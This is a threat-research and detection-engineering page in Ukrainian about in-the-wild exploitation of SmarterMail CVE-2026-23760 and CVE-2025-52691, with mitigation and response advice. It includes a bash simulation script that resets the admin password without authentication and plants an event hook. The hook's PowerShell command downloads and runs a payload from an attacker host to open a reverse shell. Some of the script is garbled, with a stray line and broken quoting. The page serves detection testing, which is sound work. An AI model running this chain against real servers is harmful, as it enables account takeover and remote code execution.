SOC Prime Bias: Критичний

04 Feb 2026 13:59 UTC

DE&TH до вразливостей: Huntress виявляє захоплення облікового запису SmarterMail, що призводить до виконання віддаленого коду (RCE)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
DE&TH до вразливостей: Huntress виявляє захоплення облікового запису SmarterMail, що призводить до виконання віддаленого коду (RCE)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Huntress спостерігала використання в дикій природі двох вразливостей SmarterMail, які дозволяють захоплення привілейованих акаунтів і, в кінцевому рахунку, виконання коду віддалено. Зловмисники ініціюють неавтентифіковані потоки скидання пароля, щоб отримати привілейований токен, а потім використовують “системні події” SmarterMail для виконання команд для розвідки хосту. Діяльність вплинула на декількох клієнтів і проявила ознаки широкомасштабної автоматизованої експлуатації.

Розслідування

Аналітики Huntress відновили послідовність запитів HTTP POST до кінцевих точок API SmarterMail, які використовувалися для запуску скидань паролів, автентифікації, конфігурації системних подій, додавання доменів під контролем зловмисника, а потім видалення слідів. Цей ланцюг націлено на CVE-2026-23760 (захоплення привілейованих акаунтів) та CVE-2025-52691 (довільне завантаження файлів). Запити зазвичай використовували user-agent python-requests/2.32.4, а оператори залишали файли result.txt, що містять результати розвідки з виконаних команд.

Міграція

Оновіть SmarterMail до версії 9511 або пізнішої, щоб вирішити обидва CVE. Перегляньте та звузьте експозицію API, вимкніть або обмежте непотрібні системні події та слідкуйте за аномальною активністю API, яка змінює акаунти, події або домени. Визначте та видаліть будь-які системні події або домени, створені зловмисником, щоб усунути збереження загрози.

Відповідь

Полюйте за підозрілою схемою викликів API і user-agent python-requests/2.32.4, блокуйте IP-адреси джерел порушення та видаляйте шкідливі системні події. Негайно обертайте привілейовані облікові дані. Проведіть форензичний аналіз кінцевих точок, щоб знайти result.txt і перевірити, чи були додаткові об’єкти навантаження підготовлені. Повідомте постраждалих користувачів/клієнтів і надайте чіткі інструкції з усунення наслідків.

Потік атаки

Виконання симуляції

Попередня умова: пройшла перевірка телеметрії та базового рівня.

Наратив атаки та команди

  1. Розвідка: Зловмисник виявляє, що SmarterMail працює в версії, вразливій до CVE‑2026‑23760.
  2. Примусовий скидання пароля (T1098): Використання неавтентифікованого force-reset-password кінцева точка для встановлення відомого пароля для привілейованого адміністратор акуант.
  3. Автентифікація (T1078): Вхід знову встановленими обліковими даними через authenticate-user кінцева точка, отримуючи сесійну токен.
  4. Розгортання шкідливого гачка подій (T1569): POST створений JSON-навантаження до event-hook який вказує на PowerShell зворотну оболонку, розміщену на сервері зловмисника.
  5. Тригер виконання: Гачок подій автоматично запускається на веб-сервері, з’являючи зворотну оболонку для зловмисника.
  6. Очищення: Видалення шкідливого гачка через event-hook-delete кінцева точка (виключено з виявлення).

Усі кроки генерують події HTTP POST, які відповідають критеріям вибір правила Sigma.

Скрипт регресійного тестування

#!/usr/bin/env bash
# -------------------------------------------------
# Захоплення облікового запису SmarterMail та симуляція RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Примусовий скидання пароля (неавтентифіковано)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Автентифікація та захоплення токена сесії
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Розгортання шкідливого гачка подій (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

найти следы ворд
"[+] Малicious event‑hook deployed. Awaiting reverse shell..."

# 4. (Необов'язково) Очікування зворотної оболонки – зловмисник запускає слухача окремо:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Очищення – видалення гачка (виключено з виявлення)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Команди очищення

#!/usr/bin/env bash
# Видалення будь-яких залишкових шкідливих гачків і скидання пароля адміністратора

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Автентифікація зі збереженим паролем (якщо відомий) або використання попереднього токена
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Видалення шкідливого гачка подій (якщо все ще присутній)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Скидання пароля адміністратора до відомого надійного значення
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"